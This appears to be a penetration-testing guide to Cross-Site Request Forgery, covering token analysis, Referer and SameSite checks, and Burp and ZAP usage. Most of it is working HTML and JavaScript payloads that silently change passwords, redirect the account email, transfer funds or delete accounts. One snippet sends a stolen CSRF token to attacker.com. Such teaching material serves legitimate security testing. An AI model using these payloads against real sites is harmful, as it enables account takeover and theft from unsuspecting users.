Cross-Site Request Forgery (CSRF/XSRF)

Cross-Site Request Forgery (CSRF) penetration testing guide covering token analysis, request forgery testing, and CSRF exploitation techniques. Learn how to identify vulnerable endpoints, create PoC attacks, and test CSRF protection mechanisms for web security assessments.

Cross-Site Request Forgery (CSRF/XSRF) occurs when a web application accepts state-changing requests without verifying that the request originated from an authenticated user’s session, allowing attackers to trick users into performing unintended actions on their behalf.

Enumeration

Identifying State-Changing Actions

Common vulnerable endpoints:

  • Password changes: POST /change-password
  • Email updates: POST /update-email
  • Profile modifications: POST /update-profile
  • Account deletions: POST /delete-account
  • Fund transfers: POST /transfer
  • Administrative actions: POST /admin/action

Manual identification:

Intercept requests with Burp Suite Look for state-changing operations that:

  • Use GET requests for state changes
  • POST requests without CSRF tokens
  • Requests that rely solely on cookies for authentication

HTTP methods to test:

# GET requests for state changes (vulnerable)
curl "http://$RHOST/delete?id=123" -H "Cookie: session=abc123"

# POST requests without CSRF protection
curl -X POST "http://$RHOST/change-password" -H "Cookie: session=abc123" -d "newpass=test123"

Request Analysis

Check for CSRF tokens:

# GET form
curl "http://$RHOST/change-password" | grep -i "csrf\|token"

# POST request analysis
curl -X POST "http://$RHOST/change-password" -d "oldpass=test&newpass=test123" -v

What to look for in responses:

  • CSRF token presence - Check for:

    • Hidden form fields: <input type="hidden" name="csrf_token" value="...">
    • Meta tags: <meta name="csrf-token" content="...">
    • Custom headers: X-CSRF-Token, X-CSRFToken
    • Cookies: csrf_token, csrftoken
  • Token absence - If no token found:

    • Endpoint likely vulnerable to CSRF
    • Verify by testing cross-origin request
    • Note: Token may be in JavaScript (check source code)

Next steps if no token found:

  1. Test cross-origin request (create PoC HTML)
  2. Verify request succeeds without token
  3. Check for Referer validation as alternative protection
  4. Proceed to vulnerability assessment

Identify authentication mechanism:

# Cookie-based (vulnerable to CSRF)
curl "http://$RHOST/admin" -H "Cookie: session=abc123" -v

# Token-based (may be vulnerable)
curl "http://$RHOST/admin" -H "Authorization: Bearer token123" -v

Check Referer validation:

# Test without Referer header
curl -X POST "http://$RHOST/change-password" -H "Cookie: session=abc123" -d "newpass=test" -v

# Test with different Referer
curl -X POST "http://$RHOST/change-password" -H "Cookie: session=abc123" -H "Referer: http://attacker.com" -d "newpass=test" -v

Information Gathering

CSRF Token Analysis

Token location identification:

# In form fields
curl "http://$RHOST/form" | grep -i "csrf\|token"

# In meta tags
curl "http://$RHOST/page" | grep -i "meta.*csrf\|meta.*token"

# In cookies
curl "http://$RHOST/page" -v 2>&1 | grep -i "set-cookie.*csrf\|set-cookie.*token"

# In custom headers
curl "http://$RHOST/page" -v 2>&1 | grep -i "x-csrf\|x-token"

Token extraction:

# Extract from form
curl "http://$RHOST/form" | grep -oP 'name="csrf_token" value="\K[^"]+'

# Extract from meta tag
curl "http://$RHOST/page" | grep -oP 'content="\K[^"]+' | head -1

Token validation analysis:

# Test if token is required
curl -X POST "http://$RHOST/change-password" -d "newpass=test123" -v

# Test with invalid token
curl -X POST "http://$RHOST/change-password" -d "csrf_token=invalid&newpass=test123" -v

# Test with missing token
curl -X POST "http://$RHOST/change-password" -d "newpass=test123" -v

What to look for in responses:

  • Without token - Check HTTP status:

    • 200 OK with success message - Token not required (vulnerable)
    • 403 Forbidden / 400 Bad Request - Token required (protected)
  • With invalid token - Compare responses:

    • Same as missing token - Token validated (protected)
    • Same as valid request - Token not validated (vulnerable)
  • Error messages - Look for:

    • “CSRF token missing” or “Invalid CSRF token” - Token validated
    • No error, request succeeds - Token not validated

Next steps based on token validation:

  1. Token not validated: Create CSRF PoC, test cross-origin
  2. Token validated: Check if token can be extracted (XSS combo)
  3. Token predictable: Test token reuse, token generation patterns
  4. Referer check only: Test Referer header bypass techniques

Request Format Analysis

Parameter identification:

# Intercept request with Burp Suite
# Save to file for analysis
cat request.txt

Content-Type analysis:

# Form data
curl -X POST "http://$RHOST/action" -H "Content-Type: application/x-www-form-urlencoded" -d "param=value"

# JSON
curl -X POST "http://$RHOST/action" -H "Content-Type: application/json" -d '{"param":"value"}'

# XML
curl -X POST "http://$RHOST/action" -H "Content-Type: application/xml" -d '<root><param>value</param></root>'

Vulnerability Assessment

GET Request CSRF Testing

Test if GET is used for state changes:

<!-- Simple GET CSRF -->
<img src="http://$RHOST/delete?id=123" />

<!-- Hidden form GET -->
<form action="http://$RHOST/delete" method="GET">
  <input type="hidden" name="id" value="123">
</form>
<script>document.forms[0].submit();</script>

Browser-based test:

# Create HTML file
cat > csrf_get.html << EOF
<img src="http://$RHOST/delete?id=123" />
EOF

# Serve and test
python3 -m http.server 8000
# Visit in browser while authenticated

What to look for during test:

  • Browser behavior - Check:

    • Network tab: Request sent to target (status 200/302)
    • Application state: Action performed (item deleted, password changed)
    • Response: Success message or redirect
  • Cross-origin request - Verify:

    • Request sent from different origin (attacker server)
    • Cookies included automatically (if SameSite allows)
    • No CORS preflight (simple request)

Next steps if CSRF successful:

  1. Verify action was performed (check application state)
  2. Test with POST requests (more common vulnerability)
  3. Document impact (what actions can be performed)
  4. Create PoC HTML for demonstration
  5. Note: GET requests for state changes are security anti-pattern

POST Request CSRF Testing

Simple POST CSRF:

<form action="http://$RHOST/change-password" method="POST" id="csrf">
  <input type="hidden" name="newpass" value="hacked123">
</form>
<script>document.getElementById('csrf').submit();</script>

What to look for in browser:

  • Form submission - Check Network tab:

    • POST request to target endpoint
    • Request includes all form parameters
    • Status 200/302 with success message
  • Application state - Verify action occurred:

    • Password changed (try logging in with new password)
    • Email updated (check profile)
    • Account deleted (verify login fails)

Next steps if POST CSRF successful:

  1. Document all vulnerable endpoints
  2. Test with different actions (delete, transfer, update)
  3. Create comprehensive PoC HTML
  4. Note severity based on action impact
  5. Check if Content-Type matters (JSON, XML)

Auto-submit form:

<form action="http://$RHOST/change-password" method="POST">
  <input type="hidden" name="newpass" value="hacked123">
</form>
<script>document.forms[0].submit();</script>

Advantage: Executes immediately when page loads (no user interaction)

JSON POST CSRF:

<form action="http://$RHOST/api/transfer" method="POST" enctype="text/plain">
  <input name='{"to":"attacker","amount":1000}' value=''>
</form>
<script>document.forms[0].submit();</script>

CSRF Token Bypass Testing

Token not validated:

<!-- Submit without token -->
<form action="http://$RHOST/change-password" method="POST">
  <input type="hidden" name="newpass" value="hacked123">
</form>
<script>document.forms[0].submit();</script>

Token in same-origin:

<!-- Extract token from same origin -->
<script>
fetch('http://$RHOST/form')
  .then(r => r.text())
  .then(html => {
    var token = html.match(/name="csrf_token" value="([^"]+)"/)[1];
    var form = document.createElement('form');
    form.method = 'POST';
    form.action = 'http://$RHOST/change-password';
    form.innerHTML = '<input name="csrf_token" value="' + token + '"><input name="newpass" value="hacked123">';
    document.body.appendChild(form);
    form.submit();
  });
</script>

Token validation bypass:

<!-- Test if token validation is case-sensitive -->
<!-- Test if token can be empty -->
<!-- Test if token can be reused -->

Check SameSite attribute:

curl "http://$RHOST/login" -v 2>&1 | grep -i "set-cookie.*samesite"

Test cross-site request:

<!-- If SameSite=None not set, cookies won't be sent cross-site -->
<form action="http://$RHOST/change-password" method="POST" id="csrf">
  <input type="hidden" name="newpass" value="hacked123">
</form>
<script>document.getElementById('csrf').submit();</script>

Exploitation

Basic CSRF PoC

HTML PoC:

<html>
<body>
  <h1>Click to win a prize!</h1>
  <form action="http://$RHOST/change-password" method="POST" id="csrf">
    <input type="hidden" name="newpass" value="hacked123">
  </form>
  <script>document.getElementById('csrf').submit();</script>
</body>
</html>

Save and test:

cat > csrf_poc.html << 'EOF'
<form action="http://TARGET/change-password" method="POST">
  <input type="hidden" name="newpass" value="hacked123">
</form>
<script>document.forms[0].submit();</script>
EOF

Advanced CSRF Techniques

XHR-based CSRF (for JSON):

<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://$RHOST/api/transfer');
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true; // Send cookies
xhr.send('{"to":"attacker","amount":1000}');
</script>

Fetch API CSRF:

<script>
fetch('http://$RHOST/api/transfer', {
  method: 'POST',
  credentials: 'include', // Send cookies
  headers: {'Content-Type': 'application/json'},
  body: '{"to":"attacker","amount":1000}'
});
</script>

Multi-step CSRF:

<script>
// Step 1: Get CSRF token
fetch('http://$RHOST/form')
  .then(r => r.text())
  .then(html => {
    var token = html.match(/csrf_token" value="([^"]+)"/)[1];
    // Step 2: Submit form with token
    var form = document.createElement('form');
    form.method = 'POST';
    form.action = 'http://$RHOST/change-password';
    form.innerHTML = '<input name="csrf_token" value="' + token + '"><input name="newpass" value="hacked123">';
    document.body.appendChild(form);
    form.submit();
  });
</script>

Clickjacking + CSRF:

<!-- Overlay transparent iframe -->
<iframe src="http://$RHOST/change-password" style="opacity:0;position:absolute;width:100%;height:100%"></iframe>
<button style="position:relative;z-index:1">Click for prize!</button>

CSRF Token Extraction

XSS + CSRF combo:

<!-- If XSS exists, extract CSRF token -->
<script>
var token = document.querySelector('input[name="csrf_token"]').value;
fetch('http://attacker.com/token?csrf=' + token);
</script>

Same-origin extraction:

<script>
fetch('http://$RHOST/form')
  .then(r => r.text())
  .then(html => {
    var parser = new DOMParser();
    var doc = parser.parseFromString(html, 'text/html');
    var token = doc.querySelector('input[name="csrf_token"]').value;
    // Use token in CSRF request
  });
</script>

Common Tools

Burp Suite CSRF PoC Generator

Generate PoC:

  1. Intercept request in Burp
  2. Right-click → Engagement tools → Generate CSRF PoC
  3. Test in browser

Manual PoC creation:

<!-- Copy request parameters to form -->
<form action="http://$RHOST/endpoint" method="POST">
  <input type="hidden" name="param1" value="value1">
  <input type="hidden" name="param2" value="value2">
</form>
<script>document.forms[0].submit();</script>

CSRF Tester

Manual testing script:

cat > csrf_test.sh << 'EOF'
#!/bin/bash
RHOST="target.com"
ENDPOINT="/change-password"

# Test GET CSRF
curl "http://$RHOST$ENDPOINT?id=123" -H "Cookie: session=test" -v

# Test POST CSRF
curl -X POST "http://$RHOST$ENDPOINT" -H "Cookie: session=test" -d "newpass=test123" -v
EOF
chmod +x csrf_test.sh

OWASP ZAP

CSRF testing:

# Run ZAP scan
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' http://$RHOST

# Check for CSRF issues
zap-cli alerts -l Medium

Custom HTML PoC Generator

Python script:

#!/usr/bin/env python3
import sys

def generate_csrf_poc(url, method, params):
    html = f'<form action="{url}" method="{method}" id="csrf">'
    for key, value in params.items():
        html += f'\n  <input type="hidden" name="{key}" value="{value}">'
    html += '\n</form>'
    html += '\n<script>document.getElementById("csrf").submit();</script>'
    return html

# Usage
print(generate_csrf_poc("http://target/endpoint", "POST", {"param": "value"}))

CSRF Protection Mechanisms

Testing Token-Based Protection

Token present but not validated:

<!-- Submit with empty/invalid token -->
<form action="http://$RHOST/change-password" method="POST">
  <input type="hidden" name="csrf_token" value="">
  <input type="hidden" name="newpass" value="hacked123">
</form>
<script>document.forms[0].submit();</script>

Token reused:

# Test if token can be reused multiple times
curl -X POST "http://$RHOST/change-password" -d "csrf_token=abc123&newpass=test1"
curl -X POST "http://$RHOST/change-password" -d "csrf_token=abc123&newpass=test2"

Token predictable:

# Test if token is predictable (timestamp, user ID, etc.)
curl "http://$RHOST/form" | grep csrf_token
# Compare multiple tokens for patterns

Testing Referer Validation

Missing Referer:

curl -X POST "http://$RHOST/change-password" -H "Cookie: session=test" -d "newpass=test" -v
# Check if request succeeds without Referer

Different Referer:

curl -X POST "http://$RHOST/change-password" -H "Cookie: session=test" -H "Referer: http://attacker.com" -d "newpass=test" -v
# Check if request is blocked

Referer bypass (port/domain variation):

# Test if Referer check is strict
curl -X POST "http://$RHOST/change-password" -H "Referer: http://$RHOST:8080" -d "newpass=test" -v
curl -X POST "http://$RHOST/change-password" -H "Referer: https://$RHOST" -d "newpass=test" -v

Testing SameSite Cookies

Check SameSite attribute:

curl "http://$RHOST/login" -v 2>&1 | grep -i "samesite"

SameSite=None test:

  • Cookies with SameSite=None are sent cross-site
  • Requires Secure flag in HTTPS context
  • Test if CSRF works with SameSite=None cookies

SameSite=Strict/Lax test:

  • SameSite=Strict: Cookies not sent cross-site
  • SameSite=Lax: Cookies sent for top-level navigations (GET)
  • Test CSRF with different SameSite values

CSRF Attack Scenarios

Password Change

<form action="http://$RHOST/change-password" method="POST">
  <input type="hidden" name="newpass" value="attacker123">
</form>
<script>document.forms[0].submit();</script>

Email Change

<form action="http://$RHOST/update-email" method="POST">
  <input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>document.forms[0].submit();</script>

Fund Transfer

<form action="http://$RHOST/transfer" method="POST">
  <input type="hidden" name="to" value="attacker_account">
  <input type="hidden" name="amount" value="1000">
</form>
<script>document.forms[0].submit();</script>

Account Deletion

<form action="http://$RHOST/delete-account" method="POST">
  <input type="hidden" name="confirm" value="true">
</form>
<script>document.forms[0].submit();</script>